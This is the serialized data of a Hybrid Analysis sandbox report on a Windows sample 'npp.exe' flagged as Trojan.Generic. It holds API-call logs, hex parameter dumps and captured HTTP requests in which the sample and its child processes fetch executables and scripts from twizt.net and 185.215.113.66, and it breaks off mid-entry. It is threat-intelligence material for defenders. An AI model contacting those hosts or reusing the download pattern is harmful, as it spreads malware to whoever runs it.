24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 73:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T482,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample 5f28bba8bd23… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 5f28bba8bd23…. Malware family: Trojan.Generic. Threat score 100/100. 9/27 AV engines flagged this file. 13 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/5f28bba8bd23cdb5c8a3fa018727bcf365eaf31c06b7bc8d3f3097a85db037f3","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","5f28bba8bd23cdb5c8a3fa018727bcf365eaf31c06b7bc8d3f3097a85db037f3"],"about":{"@type":"SoftwareApplication","name":"npp.exe","applicationCategory":["peexe","executable"],"identifier":"5f28bba8bd23cdb5c8a3fa018727bcf365eaf31c06b7bc8d3f3097a85db037f3","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":9,"total":27},"behavioralIndicators":{"malicious":13,"suspicious":20},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T7b6,Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; Source: "00000000-00000624.00000000.200735.00D63000.00000002.mdmp, 00000000-00001624.00000000.204056.00410000.00000002.mdmp, 00000000-00002792.00000000.206062.00983000.00000002.mdmp, 00000000-00003048.00000000.202034.008F3000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp") Found reference to API "RegSetValueExW" (Indicator: "RegSetValue"; Source: "00000000-00000624.00000000.200735.00D63000.00000002.mdmp, 00000000-00001624.00000000.204056.00410000.00000002.mdmp, 00000000-00002792.00000000.206062.00983000.00000002.mdmp, 00000000-00003048.00000000.202034.008F3000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; Source: "00000000-00002096.00000000.195919.00063000.00000002.mdmp") Found reference to API "RegSetValueExW" (Indicator: "RegSetValue"; Source: "00000000-00002096.00000000.195919.00063000.00000002.mdmp") Found reference to API "RegSetValueExW" (Indicator: "RegSetValue"; Source: "00000000-00003624.00000000.195277.00200000.00000004.mdmp, 00000000-00003624.00000001.197198.00200000.00000004.mdmp, 00000000-00003624.00000001.197198.003B0000.00000004.mdmp, 00000000-00003624.00000002.199124.00200000.00000004.mdmp, 00000000-00003624.00000002.199124.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.00200000.00000004.mdmp, 00000000-00003624.00000003.199619.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.00410000.00000002.mdmp") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; Source: "00000000-00003624.00000001.197198.003B0000.00000004.mdmp, 00000000-00003624.00000002.199124.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.00410000.00000002.mdmp")26:T2195,Contains base64 string in header "like" in header "GET /newtpp.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Host: twizt.net" Contains base64 string in header "4103" in header "GET /newtpp.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Host: twizt.net" Contains base64 string in header "like" in header "GET /peinstall.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36Host: twizt.net" Contains base64 string in header "4577" in header "GET /peinstall.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36Host: twizt.net" Contains base64 string in header "like" in header "GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66" Contains base64 string in header "like" in header "GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66" Contains base64 string in header "like" in header "GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66" Contains base64 string in header "Encoding" in header "GET /3 HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: 185.215.113.66Connection: Keep-Alive" Contains base64 string in header "gzip" in header "GET /3 HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: 185.215.113.66Connection: Keep-Alive" Contains base64 string in header "MSIE" in header "GET /3 HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: 185.215.113.66Connection: Keep-Alive" Contains base64 string in header "NET4" in header "GET /3 HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: 185.215.113.66Connection: Keep-Alive" Contains base64 string in header "InfoPath" in header "GET /3 HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: 185.215.113.66Connection: Keep-Alive" Contains base64 string in header "Host" in header "GET /3 HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: 185.215.113.66Connection: Keep-Alive" Contains base64 string in header "66Connection" in header "GET /3 HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: 185.215.113.66Connection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /3 HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: 185.215.113.66Connection: Keep-Alive" Contains base64 string in header "like" in header "GET /_1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66" Contains base64 string in header "like" in header "GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66" Contains base64 string in header "like" in header "GET /_2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66" Contains base64 string in header "Encoding" in header "GET /4 HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: 185.215.113.66Connection: Keep-Alive" Contains base64 string in header "gzip" in header "GET /4 HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: 185.215.113.66Connection: Keep-Alive" Contains base64 string in header "MSIE" in header "GET /4 HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: 185.215.113.66Connection: Keep-Alive" Contains base64 string in header "NET4" in header "GET /4 HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: 185.215.113.66Connection: Keep-Alive" Contains base64 string in header "InfoPath" in header "GET /4 HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: 185.215.113.66Connection: Keep-Alive" Contains base64 string in header "Host" in header "GET /4 HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: 185.215.113.66Connection: Keep-Alive" Contains base64 string in header "66Connection" in header "GET /4 HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: 185.215.113.66Connection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /4 HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: 185.215.113.66Connection: Keep-Alive" Contains base64 string in header "like" in header "GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66" Contains base64 string in header "like" in header "GET /_3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66" Contains base64 string in header "like" in header "GET /6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66" Contains base64 string in header "like" in header "GET /STATSONLINEBRO HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: twizt.net"27:T3650,"npp.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b4ed1300000000001400000004ee1300feffffff8ced1300cf003177d6003177153c0577140000000a00000004ee13000000000060ed130000000000c8ed1300 (UID: 00000000-00006112) "npp.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006112) "npp.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000b90efd0000005a02788826012cdeeb01f50efd7688e0eb0195e12c77b1c32600feffffff435c30775059307734020000400200008a055a0288055a021000000080000000ff2b30773d0efd7620a3a16dac0123000000230001000000788826002f0011000200000000d17c73ac0123000000230088055a0230000c000200000002000000bcee3077d06c230000005a02200000003100070000000000284b2500c0692300e06a230018cc2900886e230000005a0220dfeb01284b2500a0e0eb0195e12c7789cd2600feffffffff2b30779a2a307720a3a16d10a3a16d00000000 (UID: 00000000-00006112) "npp.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000577000023002000000098ff2a003cec13000464307738012300e0633077a53d05770000000000002300a0ff2a006dd1e67604ff6c356caea4750000000000000000b402000000f12b00500123000100000000002300500123000c000000a0ff2a00500123000200000218000000dd1b00c645000000000000000000000003000000dceb1300800000007f07000000000000dd1b00c645000000c075ee7600f12b0000000000c075ee76f8eb1300b02d230000000000a02c230050ec1300dbd2e676a0ff2a0000f12b00bcf86c3545000000ff2b3077013d05770000000004022300 (UID: 00000000-00006112) "npp.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000230008000000aa000000000000000000000078c22900c0692300286b230058842a00d875230065006d0008d713007400610010e4130058842a00e9e9307758842a0000000000aa00000034d813006cdc130000000000000000000000000000000000000000000000000000000000000000001c5c2f7760d82a75ffffffff17000000e4d713002400000003000000d4dc130000e213006cdc13008600000010d8130096ed30777a842a00a06a06758600000034d813006cdc13000000000086008800a06a067534d81300916c06757a842a00a06a0675a06a0675a4dc130002020000 (UID: 00000000-00006112) "npp.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006112) "2416522045.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003624) "2416522045.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000bcf7ca0100000000640000000cf8ca01feffffff94f7ca01cf003177d6003177491edc7664000000320000000cf8ca010000000068f7ca0100000000d0f7ca01 (UID: 00000000-00003624) "2416522045.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000200000200000f08926008cf4ca010464307738012000e0633077511ddc760000000000002000f88926006dd1e676a7082b946caea4750000000000000000b4020000704f2a00500120000100000000002000500120000c000000f8892600500120000200000218000000b00000b04d0000000000000000000000030000002cf4ca018000000030000000000000004318005b4d000000c075ee76d06d2a0000000000c075ee7648f4ca01482e200000000000202e2000a0f4ca01dbd2e676f8892600704f2a003f082b944d000000ff2b3077351ddc760000000004022000 (UID: 00000000-00003624) "2416522045.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000210201000000bce52102b2f43077ed0c377500000000506d220000009e6d18001a00d0000000e8000000e8009e6d00000000f4e4210208e6210254e8210295e12c774df12600feffffffb2f43077c0f830770100000000009e6d00000000000000004ce5210284e72102c70232770100000078e5210200000000506d220002033277000200000000000000000000c8e72102a401327780e52102626f307764f83077c50f3775c8129e6d78e621020000000000002b773ff00000c8129e6d0000000000000000ff2b3077e90f3775020000000c025f0000005f006c44656c65746543 (UID: 00000000-00003624) "2416522045.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000200008000000aa0000000000000000000000602a2a00406b2000a86c2000404e2c005877200065006d00d0d5ca0174006100d8e2ca01404e2c00e9e93077404e2c0000000000aa000000fcd6ca0134dbca01000000000000000000000000000000000000000000000000c01c0000000020001c5c2f7760d82a75ffffffff17000000acd6ca0124000000030000009cdbca01c8e0ca0134dbca0186000000d8d6ca0196ed3077624e2c00a06a067586000000fcd6ca0134dbca010000000086008800a06a0675fcd6ca01916c0675624e2c00a06a0675a06a06756cdbca0102020000 (UID: 00000000-00003624) "2416522045.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003624) "2416522045.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000004e9ca0114e7ca01340000c06ce7ca01dbd2e67600000000e2d2e676f31b2b947e00000001000000010000007c007c00808a98764c00000050768c764c000000c71560750000000000002000c052230020000000d8e7ca010400d20002020000b4e7ca011c563077c0522300684c230001000000b852230098e7ca01002930776ce8ca01e0e7ca0100000000b8522300ace7ca015c5530770000200000000000c0522300bce7ca01675530770000000030e8ca014bdee6760000000053dee676af142b940000000000000000cceaca01080009004019a5750000000000000000 (UID: 00000000-00003624) "2416522045.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000dc76340000c0d0e9ca01b0eaca01f4e8ca010000000090e9ca0195e12c77adf12600feffffffec3830773dd1e6766dd1e6763f152b941c17a575000000000000000020000000a8e9ca01d0e9ca010000000000002000e8092900e8092900180000000000ffff820700001800000028040000d0e9ca015007290006000000bce9ca010000000000000000000000001ceaca01000000001ceaca01148ee576000000001c8ee57683162b940000000001000000b05026000200000008eaca01000000000000000079dce67697162b940000000001000000b05026000000000000000000 (UID: 00000000-00003624) "2416522045.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000004e9ca0114e7ca01340000c06ce7ca01dbd2e67600000000e2d2e676f31b2b947e00000001000000010000007c007c00808a98764c00000050768c764c000000c71560750000000000002000c052230020000000d8e7ca010400d20006020000b4e7ca011c563077c0522300684c230001000000b852230098e7ca01002930776ce8ca01e0e7ca0100000000b8522300ace7ca015c5530770000200000000000c0522300bce7ca01675530770000000030e8ca014bdee6760000000053dee676af142b940100000000000000cceaca01080009004019a5750000000000000000 (UID: 00000000-00003624) "2416522045.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000004e9ca0114e7ca01340000c06ce7ca01dbd2e67600000000e2d2e676f31b2b947e00000001000000010000007c007c00808a98764c00000050768c764c000000c71560750000000000002000c052230020000000d8e7ca010400d2000e020000b4e7ca011c563077c0522300684c230001000000b852230098e7ca01002930776ce8ca01e0e7ca0100000000b8522300ace7ca015c5530770000200000000000c0522300bce7ca01675530770000000030e8ca014bdee6760000000053dee676af142b940300000000000000cceaca01080009004019a5750000000000000000 (UID: 00000000-00003624) "2416522045.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000004e9ca0114e7ca01340000c06ce7ca01dbd2e67600000000e2d2e676f31b2b947e00000001000000010000007c007c00808a98764c00000050768c764c000000c71560750000000000002000c052230020000000d8e7ca010400d20012020000b4e7ca011c563077c0522300684c230001000000b852230098e7ca01002930776ce8ca01e0e7ca0100000000b8522300ace7ca015c5530770000200000000000c0522300bce7ca01675530770000000030e8ca014bdee6760000000053dee676af142b940400000000000000cceaca01080009004019a5750000000000000000 (UID: 00000000-00003624) "2416522045.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000004e9ca0114e7ca01340000c06ce7ca01dbd2e67600000000e2d2e676f31b2b947e00000001000000010000007c007c00808a98764c00000050768c764c000000c71560750000000000002000c052230020000000d8e7ca010400d2001a020000b4e7ca011c563077c0522300684c230001000000b852230098e7ca01002930776ce8ca01e0e7ca0100000000b8522300ace7ca015c5530770000200000000000c0522300bce7ca01675530770000000030e8ca014bdee6760000000053dee676af142b940700000000000000cceaca01080009004019a5750000000000000000 (UID: 00000000-00003624) "2416522045.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000004e9ca0114e7ca01340000c06ce7ca01dbd2e67600000000e2d2e676f31b2b947e00000001000000010000007c007c00808a98764c00000050768c764c000000c71560750000000000002000c052230020000000d8e7ca010400d2001e020000b4e7ca011c563077c0522300684c230001000000b852230098e7ca01002930776ce8ca01e0e7ca0100000000b8522300ace7ca015c5530770000200000000000c0522300bce7ca01675530770000000030e8ca014bdee6760000000053dee676af142b940900000000000000cceaca01080009004019a5750000000000000000 (UID: 00000000-00003624) "2416522045.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000004e9ca0114e7ca01340000c06ce7ca01dbd2e67600000000e2d2e676f31b2b947e00000001000000010000007c007c00808a98764c00000050768c764c000000c71560750000000000002000c052230020000000d8e7ca010400d20022020000b4e7ca011c563077c0522300684c230001000000b852230098e7ca01002930776ce8ca01e0e7ca0100000000b8522300ace7ca015c5530770000200000000000c0522300bce7ca01675530770000000030e8ca014bdee6760000000053dee676af142b940600000000000000cceaca01080009004019a5750000000000000000 (UID: 00000000-00003624) "2416522045.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000004e9ca0114e7ca01340000c06ce7ca01dbd2e67600000000e2d2e676f31b2b947e00000001000000010000007c007c00808a98764c00000050768c764c000000c71560750000000000002000c052230020000000d8e7ca010400d20026020000b4e7ca011c563077c0522300684c230001000000b852230098e7ca01002930776ce8ca01e0e7ca0100000000b8522300ace7ca015c5530770000200000000000c0522300bce7ca01675530770000000030e8ca014bdee6760000000053dee676af142b940800000000000000cceaca01080009004019a5750000000000000000 (UID: 00000000-00003624) "2416522045.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000004e9ca0114e7ca01340000c06ce7ca01dbd2e67600000000e2d2e676f31b2b947e00000001000000010000007c007c00808a98764c00000050768c764c000000c71560750000000000002000c052230020000000d8e7ca010400d2002a020000b4e7ca011c563077c0522300684c230001000000b852230098e7ca01002930776ce8ca01e0e7ca0100000000b8522300ace7ca015c5530770000200000000000c0522300bce7ca01675530770000000030e8ca014bdee6760000000053dee676af142b940b00000000000000cceaca01080009004019a5750000000000000000 (UID: 00000000-00003624)28:T102e,"npp.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006112) "npp.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006112) "2416522045.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003624) "2416522045.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003624) "2416522045.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100771a0000001d01dc760000000090182500406b2000606c2000e80929000870200095e12c774ce8ca01feffffff84e9ca0195e12c77cdf52600feffffffff2b30779a2a3077a8e9ca01b0eaca01d0e9ca01340000c01ce9ca01e7383077ec383077c100dc76340000c0d0e9ca01b0eaca01 (UID: 00000000-00003624) "2416522045.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310077ec3830771d01dc76d4e9ca01105e2f7708e9ca0198e8ca011c5e2f7714eaca0195e12c77adf12600feffffffec38307761d6e676340000c05d0d6075c0eaca016ed6e67624040000fce9ca0104eaca01ff2b307700eaca01020000000000000000000000240400004057260008e9ca01 (UID: 00000000-00003624) "2416522045.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310077ec3830771d01dc76d4e9ca01105e2f7708e9ca0198e8ca011c5e2f7714eaca0195e12c77adf12600feffffffec38307761d6e676340000c05d0d6075c0eaca016ed6e67624040000fce9ca0104eaca01ff2b307700eaca0102000000000000000000000024040000e0512d0008e9ca01 (UID: 00000000-00003624) "2416522045.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310077ec3830771d01dc76d4e9ca01105e2f7708e9ca0198e8ca011c5e2f7714eaca0195e12c77adf12600feffffffec38307761d6e676340000c05d0d6075c0eaca016ed6e67624040000fce9ca0104eaca01ff2b307700eaca010200000000000000000000002404000040562d0008e9ca01 (UID: 00000000-00003624) "1691212729.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002096) "1691212729.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002096) "3092126301.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000384)29:T73a,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; File: "npp.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00000384.00000000.196363.00842000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: 